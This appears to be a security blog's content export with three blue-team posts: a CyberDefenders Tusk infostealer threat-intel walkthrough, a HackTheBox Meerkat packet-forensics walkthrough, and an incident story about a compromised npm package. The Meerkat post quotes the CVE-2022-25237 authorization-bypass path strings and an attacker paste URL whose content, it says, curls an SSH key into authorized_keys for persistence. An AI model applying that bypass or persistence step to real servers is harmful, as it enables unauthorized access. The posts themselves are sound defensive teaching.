https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user\nMicrosoft Learn — 4720(S): A user account was created: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720\nMicrosoft Learn — 4732(S): A member was added to a security-enabled local group: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732\n","date":"2025-12-22T00:00:00Z","image":"/posts/tryhackme-tempest-challenge-walkthrough/174daaca62aa60ade6294200a18379e9_MD5.png","permalink":"/posts/tryhackme-tempest-challenge-walkthrough/","title":"TryHackMe  —  Tempest Challenge Walkthrough"},{"content":"CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough A Threat Intelligence Challenge Using VirusTotal and Securelist. Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog while looking for a detailed guide to the Tusk Infostealer Lab blue team challenge from CyberDefenders, you\u0026rsquo;re in the right place.\nChallenge Scenario: A blockchain development company detected unusual activity when an employee was redirected to an unfamiliar website while accessing a DAO management platform. Soon after, multiple cryptocurrency wallets linked to the organization were drained. Investigators suspect a malicious tool was used to steal credentials and exfiltrate funds.\nYour task is to analyze the provided intelligence to uncover the attack methods, identify indicators of compromise, and track the threat actor\u0026rsquo;s infrastructure.\nThis challenge is extremely beginner-friendly and a great exercise in pivoting from a simple file hash to finding relevant reporting and leaning on the broader security community to add context to an investigation. It\u0026rsquo;s really cool to go from a single hash to fully understanding an entire malware campaign tied to that sample.\nI\u0026rsquo;ll walk through each step clearly, and by the end, you\u0026rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let\u0026rsquo;s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: In KB, what is the size of the malicious file? First things first! Extract the challenge file using the password provided in the challenge. This leaves a simple .txt file named hash.txt.\nContents of the Challenge File\nInside this file is the MD5 hash of a malware sample suspected of being linked to a recent cryptocurrency funds exfiltration:\nE5B8B2CF5B244500B22B665C87C11767\nWith this file hash in our possession, we can pivot to checking it against threat intelligence and sample-sharing communities to search for known activity related to this exact file.\nOur first stop is VirusTotal. Once on the site, submit the file hash to check if this sample has been uploaded before. If it has, we can leverage existing intelligence to learn more about the malware.\nVirusTotal: Checking the file hash of the sample\nRight away, we can confirm that our sample has been processed before, and a majority of anti-malware vendors have tagged it as malicious. That\u0026rsquo;s interesting, but to answer Question 1, we\u0026rsquo;re focused on the file size of the sample. You can find this by clicking on the Details tab and checking the File Size value under Basic Properties. We just need to grab the value listed in KB, instead of the bytes value\nVirusTotal: Identifying the file size of the sample\nQuestion 2: What word do the threat actors use in log messages to describe their victims, based on the name of an ancient hunted creature? Well, that\u0026rsquo;s an interesting question! Let\u0026rsquo;s dig into VirusTotal and see what else we can find that might allude to an ancient hunted creature.\nFor this, it can be helpful to check out the Community tab. This is a valuable place to find relevant research where other members share links to additional analysis or notes about a given sample.\nhttps://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722/community\nLucky for us, there\u0026rsquo;s a comment linking to an external post on Kaspersky\u0026rsquo;s Securelist blog. Let\u0026rsquo;s check it out:\nTusk campaign uses infostealers and clippers for financial gain _Kaspersky researchers discovered Tusk campaign with ongoing activity that uses Danabot and StealC infostealers and\u0026hellip;_securelist.com\nAfter a read-through of the introduction, we\u0026rsquo;ve already stumbled across the answer to Question 2:\nWe identified three active sub-campaigns (at the time of analysis) and 16 inactive sub-campaigns related to this activity. We dubbed it \u0026quot; # \u0026quot;\nTusk\u0026quot; , as the threat actor uses the word \u0026quot; # \u0026quot;\nMammoth\u0026quot; in log messages of initial downloaders — at least in the three active sub-campaigns we analyzed. \u0026quot; # \u0026quot;\nMammoth\u0026quot; is slang used by Russian-speaking threat actors to refer to victims. Mammoths used to be hunted by ancient people and their tusks were harvested and sold.\nSo, the creature is Mammoth.\nQuestion 3: The threat actor set up a malicious website to mimic a platform designed for creating and managing decentralized autonomous organizations (DAOs) on the MultiversX blockchain (peerme.io). What is the name of the malicious website the attacker created to simulate this platform? Let\u0026rsquo;s dive deeper into this threat intelligence report and look for any information about the look-alike website spoofing peerme.io.\nInside the report, we can see detailed information about this exact scenario — nice!\nIn this campaign the actor simulated peerme.io, a platform for the creation and management of decentralized autonomous organizations (DAOs) on the MultiversX blockchain. It aims to empower crypto communities and projects by providing tools for governance, funding, and collaboration within a decentralized framework. The malicious website is tidyme[.]io.\nWe just need to re-fang the address by removing the brackets from the top-level domain before submitting the answer.\nQuestion 4: Which cloud storage service did the campaign operators use to host malware samples for both macOS and Windows OS versions? Reading through the first sub-campaign details, it\u0026rsquo;s identified that \u0026ldquo;this campaign has several malware samples for macOS and Windows, both hosted on Dropbox.\u0026ldquo;This means the attacker is leveraging a trusted, common cloud storage solution to host the initial downloader component of the campaign.\nAs we continue through the analysis, we\u0026rsquo;ll see that this same service is abused in all three sub-campaigns.\nQuestion 5: The malicious executable contains a configuration file that includes base64-encoded URLs and a password used for archived data decompression, enabling the download of second-stage payloads. What is the password for decompression found in this configuration file? Following execution of the initial downloader, there\u0026rsquo;s a background routine that fetches the second-stage payloads. The Downloader routine section of the first sub-campaign details the configuration file, including the password we need to answer Question 5.\nhttps://securelist.com/tusk-infostealers-campaign/113367/\nQuestion 6: What is the name of the function responsible for retrieving the field archive from the configuration file? Moving right along, we\u0026rsquo;ll find that the report also documents the function we\u0026rsquo;re looking for to answer Question 6.\nThe function downloadAndExtractArchive retrieves the field archive from the configuration file, which is an encoded Dropbox link, decodes it and stores the file from Dropbox\nhttps://securelist.com/tusk-infostealers-campaign/113367/\nQuestion 7: In the third sub-campaign carried out by the operators, the attacker mimicked an AI translator project. What is the name of the legitimate translator, and what is the name of the malicious translator created by the attackers? Moving on from the first sub-campaign section, we\u0026rsquo;re now going to focus on the third sub-campaign. In the summary of this campaign, it\u0026rsquo;s stated that:\nIn this campaign, the threat actor was simulating an AI translator project named YOUS. The original website is yous.ai, while the malicious website is voico[.]io:\nThis is all the information we need. The only trick is that we must again remove the defang brackets from the malicious URL before submitting the answer.\nQuestion 8: The downloader is tasked with delivering additional malware samples to the victim\u0026rsquo;s machine, primarily infostealers like StealC and Danabot. What are the IP addresses of the StealC C2 servers used in the campaign? The next question has us assessing the reporting looking for tactical indicators of compromise (IoCs) associated with the StealC infostealer. We can locate this specific information in the report under the Network IoCs section where they are labelled StealC C2 server:\nhttps://securelist.com/tusk-infostealers-campaign/113367/\nHaving these indicators readily available is really helpful so that we could hunt for matching activity against the fictional organization in the challenge and confirm the same infrastructure was used.\nQuestion 9: What is the address of the Ethereum cryptocurrency wallet used in this campaign? On to the final question for this threat intelligence challenge: identifying the Ethereum (ETH) cryptocurrency wallet address associated with the campaign.\nWhile the wallet addresses are listed in each of the sub-campaign sections, we can also easily access them in the dedicated Cryptocurrency wallet addresses section of the report:\nhttps://securelist.com/tusk-infostealers-campaign/113367/\nThis provides us with further tactical information we could use in additional analysis of the impact of the attack. Now that we\u0026rsquo;ve analyzed the report and collected the relevant information, let\u0026rsquo;s wrap up this case!\nConclusion: That\u0026rsquo;s a wrap on the Tusk Infostealer challenge and the end of our investigation! A big thank you to CyberDefenders for another awesome challenge.\nThis challenge was a fantastic exercise in threat intelligence analysis, tying together several important concepts: pivoting from a single file hash, leveraging community resources like VirusTotal, and extracting tactical indicators such as C2 IPs and cryptocurrency wallet addresses. We also explored how attackers abuse trusted services like Dropbox and spoof legitimate platforms to build credibility.\nWorking through each question, we followed the trail of clues and learned how to pivot between threat intelligence reports and real-world IoCs to uncover the attacker\u0026rsquo;s infrastructure. I chose this challenge because it\u0026rsquo;s perfect for sharpening investigative skills and demonstrates how defenders can use open-source intelligence to map out an entire campaign.\nIt\u0026rsquo;s pretty cool that starting with just a hash, we can reveal how attackers chain techniques — from initial downloaders to second-stage payloads, and ultimately to financial exfiltration through cryptocurrency wallets. Awesome!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap and consider following me! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/\nSecurelist — \u0026quot; # \u0026ldquo;Tusk: unraveling a complex infostealer campaign\u0026rdquo;: https://securelist.com/tusk-infostealers-campaign/113367/\nVirusTotal: https://www.virustotal.com/\nVirusTotal — Sample: https://www.virustotal.com/gui/file/523d4eb71af86090d2d8a6766315a027fdec842041d668971bfbbbd1fe826722\n","date":"2025-12-08T00:00:00Z","image":"/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/26d716decb8b1ba67719215ffc008d8d_MD5.png","permalink":"/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/","title":"CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough"},{"content":"HackTheBox | Meerkat | Sherlock Walkthrough Network Packet Forensics: Investigating Credential Stuffing and Persistence with Zui, Wireshark \u0026amp; NetworkMiner. Image Credit: https://app.hackthebox.com/sherlocks/552/play\nIntroduction: Welcome back to another weekly walkthrough! If you’ve stumbled across this blog while searching for a comprehensive guide to the Meerkat Sherlock challenge from Hack The Box, you’re in the right place.\nThis is the fifth challenge in the Intro to Blue Team track, but you can jump in at any point. If you’re following along or you’re a completionist, check out my write-up of the previous free challenge — Unit42:\nHackTheBox | Unit42 | Sherlock Walkthrough\nThis challenge leans heavily into network forensics using a real-world inspired narrative. It’s up to us to piece together what happened using only the provided network packet capture (PCAP) file. To analyze this file, we’ll rely on three powerful tools:\nZui (formerly Brim) Wireshark NetworkMiner Using a broad set of tools for different purposes is a great way to go hands-on with multiple utilities and compare their strengths and weaknesses as they apply to identifying artifacts.\nSo, if you’re new to network forensics or just want to sharpen your analysis skills, this is a fantastic challenge to dive into. Let’s get into it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nChallenge Scenario: As a fast-growing startup, Forela has been utilising a business management platform. Unfortunately, our documentation is scarce, and our administrators aren’t the most security aware. As our new security provider we’d like you to have a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.\nSetup the Analysis Environment \u0026amp; Extract the Challenge File: Safety first! It’s always important when working with lab/challenge files from Hack the Box (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. I’m using FLARE-VM for this challenge:\n“a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).”\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub — mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOnce you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? First things first — let’s extract the challenge file using the provided password. Inside the archive, we’ll find two artifacts for analysis:\nmeerkaat.pcap: a network packet capture file containing raw network data. meerkat-alerts.json: a JSON file with alert logs from an intrusion detection system. We’ll start our investigation by leveraging Zui (formerly called Brim), which can display Suricata alerts already present in the challenge data.\nFor our purposes, this means that we don’t need to review the second artifact separately because the Suricata alert data is already embedded in the pcap and can be pulled out using Brimcap queries. This makes it much easier to focus on the relevant details we need, including the application running on the web server.\nSo, where to begin? The first step is to download, install, and open Zui if you don’t already have it in your analysis environment. Once that’s done, you might notice the Suricata queries aren’t readily available which was the case in my environment.\nTo grab the queries I used in this walkthrough, visit the Brimcap GitHub repository. While Brimcap is bundled into the Zui desktop app, I needed to follow the directions to install the Brimcap queries:\nIncluded in this repo is a queries.json file with some helpful queries for getting started and exploring Zeek and Suricata analyzed data within the Zui app.\nTo import these queries:\nDownload the [queries.json](https://github.com/brimdata/brimcap/blob/main/queries.json?raw=1) file to your local system\nIn Zui, click the + menu in the upper-left corner of the app window and select Import Queries…\nOpen the downloaded file in the file picker utility\nZui: Importing Brimcap Queries\nThis gives us some extremely handy queries for analysis. If you haven’t already, load the meerkaat.pcap file into Zui so we can query the pool.\nTo answer Question 1, use the new Brimcap queries by selecting Suricata Alerts by Signature. This provides a high-level view of all IDS rule hits detected in the traffic. One particular web application exploit is detected with four different rule sets, which strongly suggests this is the compromised web application.\nZui: Identifying the web application through Suricata Alerts by Signature\nThen, a quick Google search for Bonitasoft confirms it’s a business process automation application, consistent with the description in the scenario.\nQuestion 2: We believe the attacker may have used a subset of the brute forcing attack category — what is the name of the attack carried out? Next, we need to identify the brute force attack method used by the attacker. While reviewing the Suricata Alerts by Signature query in Zui, you may have noticed the alert ET INFO User-Agent (python-requests) Inbound to Webserver had a large number of hits. This likely correlates to the brute force activity.\nTo dive deeper, let’s pivot to Wireshark and load the meerkaat.pcap file. This will allow us to inspect packet details and better understand how the attack was carried out.\nOnce Wireshark is open:\nClick the magnifying glass icon to open the search tool. Select Packet details and String to narrow the search to strings within packet details. Enter username in the search box. Wireshark: Searching for the username string\nThis helps us find packets where the username form item appears. The goal is to determine the method used for these requests and filter more granularly.\nLooking at the first hit, we see an HTTP POST request to the web server. Let’s apply a display filter to isolate these:\nhttp.request.method == \u0026ldquo;POST\u0026rdquo;\nWireshark: Confirming the User-Agent for the matching packets\nNow we can easily see dozens of login attempts using Forela account addresses. The user agent matches what we saw in Zui:\npython-requests/2.28.1\nBased on this evidence, the attacker appears to be carrying out a credential stuffing attack (MITRE ATT\u0026amp;CK — T1110.004) by using multiple known usernames and passwords to gain access to target accounts.\nBrute Force: Credential Stuffing _Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts…_attack.mitre.org\nQuestion 3: Does the vulnerability exploited have a CVE assigned — and if so, which one? Our next task is to identify the specific CVE for the exploited vulnerability. Fortunately, we already found a clue while reviewing the Suricata Alerts by Signature in Zui: CVE-2022–25237 associated with Bonitasoft.\nZui: Identifying the related CVE\nLet’s drill down on the details of this CVE by looking it up on CVEdetails:\nhttps://www.cvedetails.com/cve/CVE-2022-25237/\nAccording to the description:\nBonita Web 2021.2 is affected by a authentication/authorization bypass vulnerability due to an overly broad exclude pattern used in the RestAPIAuthorizationFilter. By appending ;i18ntranslation or /../i18ntranslation/ to the end of a URL, users with no privileges can access privileged API endpoints. This can lead to remote code execution by abusing the privileged API actions.\nKeep this information in mind — it will be extremely helpful during the next few questions.\nQuestion 4: Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit? Now that our research uncovered how CVE-2022–25237 can be exploited, we already have the answer:\nBy appending ;i18ntranslation or /../i18ntranslation/ to the end of a URL, users with no privileges can access privileged API endpoints.\nLet’s confirm this with our own dataset in Wireshark by searching for /api within the results.\nWireshark: Identifying API endpoints\nBingo! We’ve found the same string in our traffic that’s described in the CVE details.\nQuestion 5: How many combinations of usernames and passwords were used in the credential stuffing attack? To answer this, we need to determine how many username/password combinations were attempted during the attack.\nOne approach is to use a third tool: NetworkMiner, which offers robust forensic capabilities, including easy parsing and display of credentials logged in the PCAP.\nThere’s just one catch — we first need to convert the Wireshark PCAPNG file to PCAP before importing it into NetworkMiner. In Wireshark:\nGo to File \u0026gt; Save As Select the Wireshark/tcpdump/...-pcap option to create a copy in PCAP format Now that we have the correct file type, launch NetworkMiner and open the new PCAP file. Once it loads:\nClick the Credentials tab Uncheck Show Cookies (we only want credential stuffing attempts, not session cookies) Focus on Forela domain email addresses with the MIME/MultiPart protocol NetworkMiner: Identifying credential pairs\nThis gives us a clean list of all username/password combinations attempted in the traffic. After removing the install user and one duplicate entry for seb.broom, we’re left with 56 unique combinations.\nQuestion 6: Which username and password combination was successful? For illustrative purposes, let’s jump back to Wireshark and apply an http filter. This will make it easier to see HTTP requests and responses side by side. The idea is simple: look for where the status codes change from the HTTP 4XX range (failed requests) to the HTTP 2XX range (successful requests).\nWireshark: Following the HTTP response trail\nJust like in the image above, you’ll notice the first successful response appears as an HTTP 204 No Content. Looking at the packets immediately below, you’ll see other 200 OK responses, so we know we’re in the right spot. At this point, all we need to do is right‑click the first of the HTTP 200 responses and select Follow \u0026gt; HTTP Stream.\nWireshark: Uncovering the successful login credentials\nBy correlating these successful responses and following the HTTP stream, we can determine that the account seb.broom was the one that successfully authenticated.\nQuestion 7: If any, which text sharing site did the attacker utilise? Moving right along, for Question 7 we need to determine if the attacker used any text-sharing site during the attack. For this, we’ll jump back to Zui and use the Unique DNS Queries filter.\nSelecting this option provides an easy-to-read list of all unique outbound DNS lookup queries in the PCAP. Among these, we see that pastes.io was contacted. This is a text-pasting website, which fits perfectly with what we’re looking for.\nZui: Identifying text sharing site in DNS queries\nIn the next couple of questions, we’ll figure out how this service was leveraged in the attack.\nQuestions 8 \u0026amp; 9 Please provide the filename of the public key used by the attacker to gain persistence on our host. Question 9: Can you confirm the file modified by the attacker to gain persistence? Now comes the fun part! To answer these, we’ll focus on identifying the full URI in Zui, then pivot to a web browser to see what the attacker left behind.\nFirst, from the pastes.io query in Zui’s Unique DNS Requests results, right-click the entry and select New Search from Value. This adjusts the results to search for all traffic related to pastes.io in the PCAP.\nNext, locate the line with the http type and expand it. This reveals the full URI containing the domain:\nZui: Identifying the pastes.io URI\nhttps://pastes.io/raw/bx5gcr0et8\nWith the URL ready, open your browser and enter it into the address bar — and voila!\nThe contents of the pastes.io URL from the pcap\nThe contents of the paste show a command using curl to download another file named:\nhffgra4unv\nThe command saves the output into:\n/home/ubuntu/.ssh/authorized_keys\nThis file stores SSH public keys, which means the attacker added their own key to gain persistent access to the host. Good find!\nQuestion 10: Can you confirm the MITRE technique ID of this type of persistence mechanism? We’ve made it to the final question! For this one, we’ll pivot to the MITRE ATT\u0026amp;CK knowledge base of attacker tactics, techniques, and procedures. The goal is to identify the persistence technique ID within the framework.\nWe already have all the pieces: Persistence + SSH authorized keys = Account Manipulation: SSH Authorized Keys (T1098.004)\nAccount Manipulation: SSH Authorized Keys _Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions…_attack.mitre.org\nAccording to MITRE:\nAdversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured.\nThis technique perfectly aligns with the attacker’s behavior we observed in our investigation. Now that we’ve identified their method of persistence and confirmed that Forela’s Bonitasoft server was compromised, we can wrap up this case.\nConclusion: That’s a wrap on Meerkat and the end of our investigation! A big thank you to Hack The Box for another awesome challenge.\nThis challenge was a fantastic exercise in network forensics, tying together several important concepts: detecting credential stuffing attacks, identifying CVEs in real-world applications, and uncovering persistence mechanisms like SSH authorized keys.\nWorking through each question, we followed the trail of clues and learned how to pivot between tools like Zui, Wireshark, and NetworkMiner to extract meaningful evidence. I chose this challenge because it’s perfect for sharpening packet analysis skills and offers a realistic approach where flexibility and knowing the right tool for the job can speed up an investigation when timing is critical.\nIt’s pretty cool that with just a PCAP we can reveal how attackers chain techniques, starting with credential stuffing, exploiting a web vulnerability, and then maintaining access through SSH. Awesome!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap and consider following me! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/552\nFlare-VM: https://github.com/mandiant/flare-vm\nZui/Brim: https://www.brimdata.io/download/\nWireshark: https://www.wireshark.org/\nCVEdetails — CVE-2022–25237: https://www.cvedetails.com/cve/CVE-2022-25237/\nNetworkMiner: https://www.netresec.com/?page=NetworkMiner\nMITRE ATT\u0026amp;CK — Brute Force: Credential Stuffing (T1110.004): https://attack.mitre.org/techniques/T1110/004/\nMITRE ATT\u0026amp;CK — Account Manipulation: SSH Authorized Keys (T1098.004): https://attack.mitre.org/techniques/T1098/004/\n","date":"2025-12-01T00:00:00Z","image":"/posts/hackthebox-meerkat-sherlock-walkthrough/69f67d90ab4853aae81ff12ddc8041f8_MD5.png","permalink":"/posts/hackthebox-meerkat-sherlock-walkthrough/","title":"HackTheBox  — Meerkat Sherlock Walkthrough"},{"content":"StumbleSOC Stories: The Vibe Coding Compromise So, You Vibe Coded an App? (But your Dependencies Have Malware) Photo by Aerps.com on Unsplash\nIntroduction This week, I\u0026rsquo;m taking a break from my usual weekly walkthrough format to try something different. This is the first edition of my real world diary series, StumbleSOC Stories: A collection of field notes and anecdotes. This particular case is adapted from a short presentation I gave to a team of software developers about a real-world incident back in July 2025 meant as a cautionary tale that bridges blue team operations, DevOps, and the rise of vibe coding with open source software supply chain attacks.\nWe\u0026rsquo;ll take an inside-out approach, exploring how a security alert investigation lead to stumbling upon a software supply chain compromise. But what\u0026rsquo;s the catch? Well, the malware was delivered through AI-generated code created using a Generative AI tool outside of corporate governance policies, creating a perfect opportunity for risk.\nThis blog is especially relevant for those new to coding who rely on vibe coding — experimenting with GenAI prompt-based coding and trusting the output without fully understanding the implications. The goal here is to illustrate how quickly curiosity can turn into compromise with a brief look from a network defender\u0026rsquo;s point of view, and some practical tips to prevent something like this from happening to you.\nThe Alert That Started It All This story starts as all good stories do — a hot summer\u0026rsquo;s day and a high-severity incident firing from a newly onboarded user\u0026rsquo;s device:\nPotential hands-on-keyboard pre-ransom activity detected\nIt\u0026rsquo;s enough to make the hairs on the back of any defender\u0026rsquo;s neck stick up, and that\u0026rsquo;s what kicked off the triage. Three alerts, one incident, and a suspicious file: node-gyp.dll.\nWhile this file was tagged as malware, at first glance, it looked like a false positive. Nothing overtly suspicious was observed, and VirusTotal showed low detection rates.\nBut something was strange: this workstation belonged to a new, non-developer user, we\u0026rsquo;ll call him \u0026ldquo;Justin,\u0026rdquo; and the DLL was linked to the package napi-postinstall — a Node.js package with millions of downloads and favorable metrics.\nWhat was \u0026ldquo;Justin\u0026rdquo; doing with Node.js anyway?\nThe AI Stumble Further investigation led to an interview with \u0026ldquo;Justin\u0026rdquo;, and that\u0026rsquo;s when it clicked:\n\u0026ldquo;I\u0026rsquo;m really REALLY ignorant about this stuff. I was messing with it to try and learn more about coding and Ai prompting.\u0026ldquo;Translation: Vibe coding. This is the currently trending practice of using Generative AI to generate code or prompt an app into existence. This user had used their personal Generative AI chat subscription to generate Node.js code with the goal of learning to code and experiment with AI prompting.\nWhile this is a totally valid use case on its own, you can probably guess where this is going. Once run, the AI-generated code pulled dependencies from the NPM registry. One of those was the napi-postinstall script, which contained instructions to execute the suspicious node-gyp.dll. The user ran the code on their corporate device, and that\u0026rsquo;s when the alerts fired.\nMalware or Misunderstanding? Okay, so we now understand the how, but why did the endpoint detection tool flag node-gyp.dll as malicious?\nRemember, VirusTotal showed minimal detections at the time of the alert. The package looked clean. But the next day, the detection rate skyrocketed as reports started rolling in overnight — there was even a CVE assigned (CVE-2025-54313).\nUpdate — January 2026: This CVE has also been added to CISA\u0026rsquo;s Known Exploited Vulnerabilities Catalog as of January 22nd, 2026.\nVirusTotal: https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection\nFrom the excellent reporting by Socket.dev, it was revealed that this DLL was part of a broader campaign. A phishing attack had compromised an NPM maintainer\u0026rsquo;s token, allowing attackers to inject malware into several trusted packages, including the one found on Justin\u0026rsquo;s workstation: napi-postinstall version 0.3.1.\nIn other words, textbook software supply chain attack.\nMeet the Malware: The Scavenger Family Understanding that this was a true positive meant getting a better understanding of the malware. According to the VirusTotal family label, this confirmed-malicious DLL, node-gyp.dll, belongs to the Scavenger malware family. According to Malpedia, Scavenger is:\nA stealthy, two-stage malware family first observed in July 2025 following a targeted supply chain attack on the NPM ecosystem. The infection began with a phishing campaign that leveraged a typo-squatted domain (npnjs.com) to impersonate the legitimate NPM login page.\nSo, what we observed was the Scavenger Loader component. In this case, thanks to the endpoint detection response (EDR) tool on the victim\u0026rsquo;s device, the sensor flagged the behavior of the first-stage loader (node-gyp.dll) triggered via rundll32.exe as suspicious.\nThen the antivirus software identified the malicious Scavenger DLL as malware and terminated it during execution, preventing the second-stage infostealer payload from being retrieved. The threat was quarantined, and no data collection or exfiltration occurred.\nWhile this is a great example of behavioral detection working as intended, even when signature-based detection lagged behind, it\u0026rsquo;s also a great example of how technical controls are essential even when the administrative policy controls (like an Acceptable Use Policy) should have deterred this from happening to begin with.\nYes, the user technically executed the code but is it really their fault or simply bad timing that created another victim downstream?\nUnderstanding the Open Source Software Supply Chain Risk Let\u0026rsquo;s pull back a little and look at the bigger picture. Modern applications rely on hundreds of third-party dependencies. Even if you\u0026rsquo;re confident your code (or your AI-generated code) is safe, your dependencies might not be. And when those dependencies are compromised, the impact can cascade downstream, which is exactly what we saw earlier happen with our victim, \u0026ldquo;Justin\u0026rdquo;.\nThe risk is that supply chain attacks aren\u0026rsquo;t just about initial access. They\u0026rsquo;re about the attacker\u0026rsquo;s objectives and impact. A few examples might include:\nStealing cloud service keys, SSH credentials, and maintainer tokens. Dropping backdoors. Lateral movement in enterprise networks. Data theft and ransomware. Not good, but the worst part? A story like this isn\u0026rsquo;t an isolated incident. A quick search for \u0026ldquo;Software Supply Chain Attack\u0026quot;shows dozens of results per week across multiple package repositories like NPM or PyPI. Despite this being an example from July 2025, this is still an ongoing, pervasive, and real threat.\nSo, What Can We Do? Let\u0026rsquo;s tie this together and come up with some practical advice — especially for new developers or vibe-coding hobbyists like Justin.\nFor Vibe Coders: If you\u0026rsquo;re new to software development and rely on vibe coding as your entry point, remember this: AI doesn\u0026rsquo;t guarantee security. It can pull in compromised packages without warning, just like the victim in this story. So how does a novice developer verify the integrity of AI-generated code?\nWhile it\u0026rsquo;s a tough nut to crack, and I don\u0026rsquo;t have all the answers, we can start with some basics. There\u0026rsquo;s an old cybersecurity adage: \u0026ldquo;You can\u0026rsquo;t defend what you don\u0026rsquo;t know exists.\u0026rdquo; In this example, it\u0026rsquo;s true.\nStart with some Operational Security Fundamentals\nDon\u0026rsquo;t assume AI-generated code is safe. AI can pull in dependencies without context. There\u0026rsquo;s a reason these tools call out that they can make mistakes. Always verify. Separate your learning environment from your daily driver. If you\u0026rsquo;re experimenting, use a Virtual Machine or segmented development environment — not your organization\u0026rsquo;s resources. Stay within approved tools and environments. Governance exists for a reason. If your organization has an approved GenAI application, they probably have some guardrails in place. Never tamper with your anti-malware or security software. Yes, I\u0026rsquo;ve seen this happen, but those tools and alerts saved the day in this case and prevented further impact. Know Your Dependencies\nFor Node.js applications, use npm ls to list dependencies and [npm audit](https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities) to check for known vulnerabilities. Investigate suspicious findings by looking up packages on sites like Socket.dev or Snyk. In this example, tools like these would have flagged napi-postinstall as compromised. Only version 0.3.1 was affected, but that information was available if the victim had known where to look. Scale Up with Security Tools\nWhile manual checks help, they\u0026rsquo;re not scalable. Eventually, you\u0026rsquo;ll want to integrate:\nSoftware Composition Analysis (SCA) tools like OWASP Dependency-Check Static Application Security Testing (SAST) for source code analysis. Dynamic Application Security Testing (DAST) for runtime vulnerability detection. Key Takeaways Verify AI-generated code: don\u0026rsquo;t trust it blindly. Separate experimental environments from production systems. Use dependency checks (npm ls, npm audit) and reputation tools. Adopt SCA and SAST tools as you grow. Never disable security tools. They\u0026rsquo;re your last line of defense. Final Thoughts This saga reminded me how quickly a learning experiment can become a security incident. Awareness is important! Understand that there is risk in the trust-based open source ecosystem. Maintainers are not infallible. With that said, there is obvious value in using GenAI to learn about building applications, and harnessing that power can bring tremendous results. AI is powerful, but it\u0026rsquo;s also not infallible. And when it intersects with open-source ecosystems, the risks multiply.\nBut we users also bear the burden of validating the output of these tools and the risks. Just like in standard software development lifecycles, it\u0026rsquo;s important to move security early into the development of new applications and always be thinking about it as much as you think about the final result. Applying security principles like software composition analysis and vulnerability management is important, fundamentally important, even if you\u0026rsquo;re new. Security is a vibe too.\nThis is just a small slice of the bigger pie, and I hope it gave you something to chew on. Thanks for your support and for your time together. If you found this post interesting, don\u0026rsquo;t forget to give it a clap and consider following me for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nI also want to give a quick shout-out to my colleague Giovanni Contino for generously lending his time — and his developer brain — to review this post. His insights and feedback helped ground the content in real-world dev experience.\nUntil next week — stay curious and be safe out there!\nReferences Socket — \u0026quot; # \u0026ldquo;Active Supply Chain Attack: npm Phishing Campaign Leads to Prettier Tooling Packages Compromise\u0026rdquo;: https://socket.dev/blog/npm-phishing-campaign-leads-to-prettier-tooling-packages-compromise VirusTotal — node-gyp.dll: https://www.virustotal.com/gui/file/c68e42f416f482d43653f36cd14384270b54b68d6496a8e34ce887687de5b441/detection National Vulnerability Database (NVD) — CVE-2025€“54313: https://nvd.nist.gov/vuln/detail/CVE-2025-54313 Malpedia — Scavenger: https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger NPM Audit: https://docs.npmjs.com/auditing-package-dependencies-for-security-vulnerabilities Snyk Advisor: https://snyk.io/advisor Socket: https://socket.dev/ OWASP Dependency-Check: https://owasp.org/www-project-dependency-check/ 